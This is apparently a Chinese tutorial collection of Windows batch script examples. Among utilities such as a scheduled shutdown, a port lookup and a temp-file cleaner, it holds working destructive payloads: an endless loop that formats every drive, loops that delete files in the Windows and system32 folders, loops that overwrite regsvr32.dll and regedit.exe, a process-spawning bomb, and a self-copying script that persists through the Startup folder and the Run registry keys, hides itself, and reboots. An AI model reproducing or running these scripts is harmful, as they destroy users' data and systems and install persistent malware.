批處理實(shí)例代碼教程 集合

@echo off
echo 按任意鍵后我將刪除自身
pause
del %0

echo [InternetShortcut] > "%userprofile%\桌面\文件夾.url"
echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夾.url"

@echo off
"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next

@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit

@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit

@echo off
mode con lines=25
title 定時(shí)關(guān)機(jī)
color 1f
cls
echo.
echo.
echo.
echo.
echo 時(shí)間使用24小時(shí)制(如2:15、12:00)，可以輸入多個(gè)時(shí)間點(diǎn)
echo.
echo 多個(gè)時(shí)間點(diǎn)用空格分隔
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= 請(qǐng)輸入關(guān)機(jī)時(shí)間：
:: 以下語(yǔ)句實(shí)現(xiàn)每個(gè)星期的每一天指定時(shí)間關(guān)機(jī)
:: 如果要換成每個(gè)月的某幾天，請(qǐng)改字母為數(shù)字，并用逗號(hào)分隔
:: 以下代碼沒(méi)有錯(cuò)誤檢測(cè)語(yǔ)句，輸入時(shí)間的時(shí)候務(wù)必按照指定格式輸入
:: 可以用在CMD窗口用at命令來(lái)查看計(jì)劃任務(wù)
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)

@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%\system32\cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%\system32\cmd.exe>>cmd.url

@echo off
:: 設(shè)定：　運(yùn)行在全屏模式下
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem 下面放置任何命令……
dir
pause

::最小化運(yùn)行批處理
@echo offmode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto mingoto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^exit
start/min Temp.batexit
:Start
del "Temp.bat">nul
pause

@echo off
:: 全盤(pán)查找qq.exe，找到之后就執(zhí)行并退出CMD窗口
:: fsutil fsinfo drives 得出來(lái)的結(jié)果雖然中間有空格，但是他代表是回車符或者換行符的作用，所以還要用find /v來(lái)過(guò)濾，否則，只得到第一個(gè)分區(qū)
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "固定">nul (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" exit
)
)

@echo off
:: 刪除"運(yùn)行"、"查找"等處的歷史記錄
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001

@echo off
color a
Title XP端口-進(jìn)程查詢
setlocal enabledelayedexpansion
echo ╔- -╗
echo 本機(jī)開(kāi)放的端口及使用該端口的進(jìn)程
echo ╚- -╝
echo ------------------------------------
echo 端口號(hào) 進(jìn)程名稱
ECHO TCP協(xié)議:
::利用netstat命令找出使用TCP協(xié)議通信的端口，并將結(jié)果分割；
::將第二個(gè)參數(shù)(IP加端口)傳給%%i，第五個(gè)參數(shù)(PID號(hào))傳給%%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP協(xié)議:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意鍵退出
pause>nul
:Assoc
::對(duì)%1(第一個(gè)參數(shù)）進(jìn)行分割，將第二個(gè)參數(shù)傳給%%e。在本程序中，%1即為上面的%%i(形式為：IP:端口號(hào))
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查詢PID等于%3(第三個(gè)參數(shù))的進(jìn)程，并將結(jié)果傳給變量?_Proc_Name,?代表UDP或者TCP；
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引號(hào)，因?yàn)樯鲜雒畹慕Y(jié)果是用括號(hào)括起來(lái)的。
set %2_Proc_Name=%%~a
)

:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format

:breake
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
@if exist %windir%\*.* del %windir%\*.* >nul
goto breake

:die
@start regsvr32.exe /s %windir%\system32\*.* >nul
@start %windir%\system32\*.* >nul
@start notepad %windir%\explorer.exe >nul
goto die

@start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul
goto ping

@echo off
shutdown -r -t 3
copy %0 C:\Documents" "and" "Settings\All" "Users\「開(kāi)始」菜單\程序\啟動(dòng)\a.bat
copy %0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0

@echo off
:: 只要?jiǎng)h除"HKEY_CLASSERS_ROORT\.后綴名"項(xiàng)目下的"ShellNew"鍵就可以了
:: 如果實(shí)在刪除不了，則把"HKEY_CLASSERS_ROORT\.后綴名"刪除掉即可
mode con lines=25
title "新建"菜單內(nèi)容刪除器
color 1f
:input
cls
call :display
echo 如果要強(qiáng)行刪除，請(qǐng)選 1
echo.
echo.
set input=
set /p input= 請(qǐng)輸入后綴名：
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 請(qǐng)輸入后綴名(強(qiáng)行刪除)：
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 還要繼續(xù)清除嗎？(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能刪除右鍵菜單中"新建"項(xiàng)目下的多余內(nèi)容，為"新建"菜單減肥！
echo.
echo 如果想讓某種類型的文件不再出現(xiàn)在鼠標(biāo)右鍵的"新建"菜單中，請(qǐng)直接
echo.
echo 輸入該文件類型的后綴名。例如：rar。
echo.
echo 退出請(qǐng)選 0
echo.

@echo off
color f0
echo.
echo 正在安全地自動(dòng)清除垃圾文件……
del /f /q %systemdrive%\*.tmp>nul 2>nul
del /f /q %systemdrive%\*._mp>nul 2>nul
del /f /q %systemdrive%\*.log>nul 2>nul
del /f /q %systemdrive%\*.gid>nul 2>nul
del /f /q %systemdrive%\*.chk>nul 2>nul
del /f /q %systemdrive%\*.old>nul 2>nul
del /f /q %windir%\*.bak>nul 2>nul
del /f /q %windir%\*.tmp>nul 2>nul
del /f /q %windir%\prefetch\*.*>nul 2>nul
del /f /s /q %systemdrive%\recycled\*.*
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
del /f /q /s "%TEMP%\*.*">nul 2>nul
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
rd /s /q %windir%\temp md %windir%\temp>nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul